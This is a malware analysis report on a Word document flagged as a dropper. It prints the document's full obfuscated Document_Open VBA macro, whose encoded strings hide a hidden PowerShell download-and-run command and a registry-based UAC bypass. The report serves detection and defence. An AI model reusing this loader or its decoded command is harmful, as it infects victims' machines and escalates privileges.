Office (OLE) malware analysis — malicious · eeaae3eb23591c24

MALICIOUS

Office (OLE)

90.5 KB Created: 2017-01-20 00:05:00 Authoring application: Microsoft Office Word First seen: 2017-02-23

MD5: 5ad04129bf3c51ffc705dcc39820d52f SHA-1: 36da40c09371549ff0b4d59c7e480b7e4bb608d1 SHA-256: eeaae3eb23591c2499ce9591c58137f5ef238cd6343f76bdaf85e71ef2b63ac6

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The file contains a critical heuristic for an obfuscated auto-exec VBA loader, indicating it's designed to run malicious code upon opening. The VBA macro uses CreateObject and Shell execution, suggesting it attempts to download and execute a second-stage payload. While the specific payload URL is not directly visible due to obfuscation, the presence of these indicators strongly suggests a dropper or downloader functionality.

Heuristics 7

ClamAV: Doc.Dropper.Agent-5706125-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-5706125-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
gritpeople = 767
Set cookmaple = CreateObject(Join(cszpvrrfjlmb, ""))
For buildfold = 1 To Len(sbgenkazyj)
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

gritpeople = 767
Set cookmaple = CreateObject(Join(cszpvrrfjlmb, ""))
For buildfold = 1 To Len(sbgenkazyj)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Attribute VB_Customizable = True
Public Sub Document_Open()
demisepush = "lL9vLLeXrQiRsLiLkLXgJJa99zL.LcLQoLmL/QaVdQXvJRiQQcQeL.9eLx9XeRJ'V,X'J%RJTQEQ9MXPLV%Q\XJ\LpXLuRQtLtLRyQxLX89Q6V.X9eQxLeQR'LR)XV QL&9 VrQeXQgQ RVaVdJdX VHLKVQCRLUVJ\JX\LSLJoQLfXLtQLwLRaLrJXeR\QV\QCRXlVaXVsRsLeXVsQ\LR\LmJLsR9cRXf9QiVlQeQ\LL\JJsRhX9eVJlQlJ\V\VVoXpJeJn9R\L9\JLc9oRmLmLaRRnQdXJ 9J/Ld9 X%QXTQJELRM9PX9%VL\Q\QXpJQu9JtQQt99yLxL8LX6VV.QLeLxLeVJ QQ/Xf9 XL&XV JeLLv9XeJnRtXvJwLXrLL.Re9xVJeVR LL&LQ LPQXIXN9GJJ 9-JnQ RQ1X5VX L1J297LX.J0QV.LL0QQ.V1"

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4441 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	4441 bytes
SHA-256: `befac94015cdbbef4275d06d299e23f74f2a27c41bd712f6b429d1d4bb331a98`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Public Sub Document_Open() demisepush = "lL9vLLeXrQiRsLiLkLXgJJa99zL.LcLQoLmL/QaVdQXvJRiQQcQeL.9eLx9XeRJ'V,X'J%RJTQEQ9MXPLV%Q\XJ\LpXLuRQtLtLRyQxLX89Q6V.X9eQxLeQR'LR)XV QL&9 VrQeXQgQ RVaVdJdX VHLKVQCRLUVJ\JX\LSLJoQLfXLtQLwLRaLrJXeR\QV\QCRXlVaXVsRsLeXVsQ\LR\LmJLsR9cRXf9QiVlQeQ\LL\JJsRhX9eVJlQlJ\V\VVoXpJeJn9R\L9\JLc9oRmLmLaRRnQdXJ 9J/Ld9 X%QXTQJELRM9PX9%VL\Q\QXpJQu9JtQQt99yLxL8LX6VV.QLeLxLeVJ QQ/Xf9 XL&XV JeLLv9XeJnRtXvJwLXrLL.Re9xVJeVR LL&LQ LPQXIXN9GJJ 9-JnQ RQ1X5VX L1J297LX.J0QV.LL0QQ.V1" 'zdnbqdsqt abovebiology Dim brownpig As String brownpig = "ryytyaajbkkjo" 'nubrbjtuao bsynbsfjqopqmap Selection.TypeText ("It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English." & vbCrLf) tskedgxmnp = Asc("G") - 71 sbgenkazyj = "9cJmJQdL.ReVVxLeQ RV/9XcR XpXJoLw9eLr9sVh99eQXlQJlL.LXeQ9xLReL Q-LwR LLhJXiXdJLdJQeQnL XV-LVn9o99pQL R-QReJpJ 9bQVyRJpLLaLsXsLQ J(XNReQwQ-JJOVJbXjVeJcR9tQ LSVyQQs9tJeJLmJ.VXNLe9LtL.9WQReQQbLJCQlViLeLnVtJ)R.9DQoXRwLnJVlVLoQaVdXFVRiJl9eQ(X'LLhRtLtJp9:L/L/9JsXiR" 'oaioayexfyl dwjrihnzelebtrrj Dim rightversion As String rightversion = "hillmixed" 'kmsdelmqkrbbyy ethicsneck sbgenkazyj = sbgenkazyj & demisepush & "R>R9nRuXlLR QV&X XL%VXT9REQ9MQ9PJV%J\V\LVp9uQt9tQyRxQ8J6J.QXeXVx9Xe" demisepush = "" Dim cszpvrrfjlmb(1 To 5) As String Dim kitchenmatch As String kitchenmatch = "droplegend" Dim radarsolution As Long radarsolution = 332 Dim allowtiger As String allowtiger = "momentsoda" Dim vanlobmeiavysma As Long vanlobmeiavysma = 209 cszpvrrfjlmb(1) = "wsc" 'yrhlcpdmpx veuunjrfvevr Dim beltclose As String beltclose = "assistclose" 'behindfragile callmercy 'devicevenue huwpexnacnllt Dim dangerhazard As String dangerhazard = "qdgyfmcbq" 'elderfork bloodmessage cszpvrrfjlmb(2) = "ri" Dim rejecttrack As String rejecttrack = "aroundbar" Dim glakfaptuhcemhu As Long glakfaptuhcemhu = 923 Dim lexrhqfne As String lexrhqfne = "fopykyygr" Dim bzhcjbefqaoqmufjrk As Long bzhcjbefqaoqmufjrk = 986 cszpvrrfjlmb(3) = "pt.s" cszpvrrfjlmb(4) = "hel" Dim hedgehogrifle As String hedgehogrifle = "armelder" Dim abaclobxdcekgexn As Long abaclobxdcekgexn = 265 'sqwayolcbqa sticktoken Dim criticsuper As String criticsuper = "gzpvbxmicdjrthhvhq" 'uzrmtwbzchbp pdvbeuenxufuju cszpvrrfjlmb(5) = "l" Dim bindclown As String bindclown = "earlyegg" Dim eggtheory As Long eggtheory = 650 Dim jvdrpwjkhgy As String jvdrpwjkhgy = "crlcdcffrtcb" Dim gritpeople As Long gritpeople = 767 Set cookmaple = CreateObject(Join(cszpvrrfjlmb, "")) For buildfold = 1 To Len(sbgenkazyj) 'kfektyylhaoufeah identifyintact Dim alonevendor As String alonevendor = "eufafukkdsrciuq" 'jmsivkexyiwoawjebgk odoadhxsxjkoj 'breadenergy mazesoft Dim plasticwedding As String plasticwedding = "excitestory" 'oftovidirdh angryunfold gokyifsnwlggqh = Mid(sbgenkazyj, buildfold, 1) Dim birthtray As String birthtray = "uevvhqwzshtxgncv" Dim clogsphere As Long clogsphere = 987 zhutgevzqstesk = "JQVX9RLL" Like "" & gokyifsnwlggqh & "" Dim buffaloconcert As String buffaloconcert = "tejzdxjqiq" Dim pointsword As Long pointsword = 693 'belowcentury tdsbtmpopn Dim foamplate As String foamplate = "bottomproof" 'capablelearn alertdice If Not zhutgevzqstesk Then Dim rkuworlavzxbplkq As String rkuworlavzxbplkq = "yrkhpbmucayp" Dim powderstuff As Long powderstuff = 54 demisepush = demisepush & gokyifsnwlggqh End If If buildfold = Len(sbgenkazyj) Then 'pkdeqmoaysqtcxx knlakmtfrkauf Dim bbhepdyloyodgvegu As String bbhepdyloyodgvegu = "ybvqrvgpal" 'orangetrick gtzuvfepeyjyzboftd famousrelax = cookmaple.Run(demisepush, tskedgxmnp) End If Next 'qsiwhomfsucet jobslice Dim pwtwkzjgtacbz As String pwtwkzjgtacbz = "easyprefer" 'fkgsdxikh baconoctober Dim ostrichsince As String ostrichsince = "kvxurzqfqcyolajzcfz" Dim bsojjanayupdub As Long bsojjanayupdub = 641 End Sub

SHA-256: befac94015cdbbef4275d06d299e23f74f2a27c41bd712f6b429d1d4bb331a98

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
demisepush = "lL9vLLeXrQiRsLiLkLXgJJa99zL.LcLQoLmL/QaVdQXvJRiQQcQeL.9eLx9XeRJ'V,X'J%RJTQEQ9MXPLV%Q\XJ\LpXLuRQtLtLRyQxLX89Q6V.X9eQxLeQR'LR)XV QL&9 VrQeXQgQ RVaVdJdX VHLKVQCRLUVJ\JX\LSLJoQLfXLtQLwLRaLrJXeR\QV\QCRXlVaXVsRsLeXVsQ\LR\LmJLsR9cRXf9QiVlQeQ\LL\JJsRhX9eVJlQlJ\V\VVoXpJeJn9R\L9\JLc9oRmLmLaRRnQdXJ 9J/Ld9 X%QXTQJELRM9PX9%VL\Q\QXpJQu9JtQQt99yLxL8LX6VV.QLeLxLeVJ QQ/Xf9 XL&XV JeLLv9XeJnRtXvJwLXrLL.Re9xVJeVR LL&LQ LPQXIXN9GJJ 9-JnQ RQ1X5VX L1J297LX.J0QV.LL0QQ.V1"
'zdnbqdsqt abovebiology
Dim brownpig As String
brownpig = "ryytyaajbkkjo"
'nubrbjtuao bsynbsfjqopqmap
Selection.TypeText ("It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English." & vbCrLf)

tskedgxmnp = Asc("G") - 71
sbgenkazyj = "9cJmJQdL.ReVVxLeQ RV/9XcR XpXJoLw9eLr9sVh99eQXlQJlL.LXeQ9xLReL Q-LwR LLhJXiXdJLdJQeQnL XV-LVn9o99pQL R-QReJpJ 9bQVyRJpLLaLsXsLQ J(XNReQwQ-JJOVJbXjVeJcR9tQ LSVyQQs9tJeJLmJ.VXNLe9LtL.9WQReQQbLJCQlViLeLnVtJ)R.9DQoXRwLnJVlVLoQaVdXFVRiJl9eQ(X'LLhRtLtJp9:L/L/9JsXiR"
'oaioayexfyl dwjrihnzelebtrrj
Dim rightversion As String
rightversion = "hillmixed"
'kmsdelmqkrbbyy ethicsneck
sbgenkazyj = sbgenkazyj & demisepush & "R>R9nRuXlLR QV&X XL%VXT9REQ9MQ9PJV%J\V\LVp9uQt9tQyRxQ8J6J.QXeXVx9Xe"
demisepush = ""
Dim cszpvrrfjlmb(1 To 5) As String
Dim kitchenmatch As String
kitchenmatch = "droplegend"
Dim radarsolution As Long
radarsolution = 332
Dim allowtiger As String
allowtiger = "momentsoda"
Dim vanlobmeiavysma As Long
vanlobmeiavysma = 209
cszpvrrfjlmb(1) = "wsc"
'yrhlcpdmpx veuunjrfvevr
Dim beltclose As String
beltclose = "assistclose"
'behindfragile callmercy
'devicevenue huwpexnacnllt
Dim dangerhazard As String
dangerhazard = "qdgyfmcbq"
'elderfork bloodmessage
cszpvrrfjlmb(2) = "ri"
Dim rejecttrack As String
rejecttrack = "aroundbar"
Dim glakfaptuhcemhu As Long
glakfaptuhcemhu = 923
Dim lexrhqfne As String
lexrhqfne = "fopykyygr"
Dim bzhcjbefqaoqmufjrk As Long
bzhcjbefqaoqmufjrk = 986
cszpvrrfjlmb(3) = "pt.s"
cszpvrrfjlmb(4) = "hel"
Dim hedgehogrifle As String
hedgehogrifle = "armelder"
Dim abaclobxdcekgexn As Long
abaclobxdcekgexn = 265
'sqwayolcbqa sticktoken
Dim criticsuper As String
criticsuper = "gzpvbxmicdjrthhvhq"
'uzrmtwbzchbp pdvbeuenxufuju
cszpvrrfjlmb(5) = "l"
Dim bindclown As String
bindclown = "earlyegg"
Dim eggtheory As Long
eggtheory = 650
Dim jvdrpwjkhgy As String
jvdrpwjkhgy = "crlcdcffrtcb"
Dim gritpeople As Long
gritpeople = 767
Set cookmaple = CreateObject(Join(cszpvrrfjlmb, ""))
For buildfold = 1 To Len(sbgenkazyj)
'kfektyylhaoufeah identifyintact
Dim alonevendor As String
alonevendor = "eufafukkdsrciuq"
'jmsivkexyiwoawjebgk odoadhxsxjkoj
'breadenergy mazesoft
Dim plasticwedding As String
plasticwedding = "excitestory"
'oftovidirdh angryunfold
gokyifsnwlggqh = Mid(sbgenkazyj, buildfold, 1)
Dim birthtray As String
birthtray = "uevvhqwzshtxgncv"
Dim clogsphere As Long
clogsphere = 987
zhutgevzqstesk = "JQVX9RLL" Like "*" & gokyifsnwlggqh & "*"
Dim buffaloconcert As String
buffaloconcert = "tejzdxjqiq"
Dim pointsword As Long
pointsword = 693
'belowcentury tdsbtmpopn
Dim foamplate As String
foamplate = "bottomproof"
'capablelearn alertdice
If Not zhutgevzqstesk Then
Dim rkuworlavzxbplkq As String
rkuworlavzxbplkq = "yrkhpbmucayp"
Dim powderstuff As Long
powderstuff = 54
demisepush = demisepush & gokyifsnwlggqh
End If
If buildfold = Len(sbgenkazyj) Then
'pkdeqmoaysqtcxx knlakmtfrkauf
Dim bbhepdyloyodgvegu As String
bbhepdyloyodgvegu = "ybvqrvgpal"
'orangetrick gtzuvfepeyjyzboftd
famousrelax = cookmaple.Run(demisepush, tskedgxmnp)
End If
Next
'qsiwhomfsucet jobslice
Dim pwtwkzjgtacbz As String
pwtwkzjgtacbz = "easyprefer"
'fkgsdxikh baconoctober
Dim ostrichsince As String
ostrichsince = "kvxurzqfqcyolajzcfz"
Dim bsojjanayupdub As Long
bsojjanayupdub = 641
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.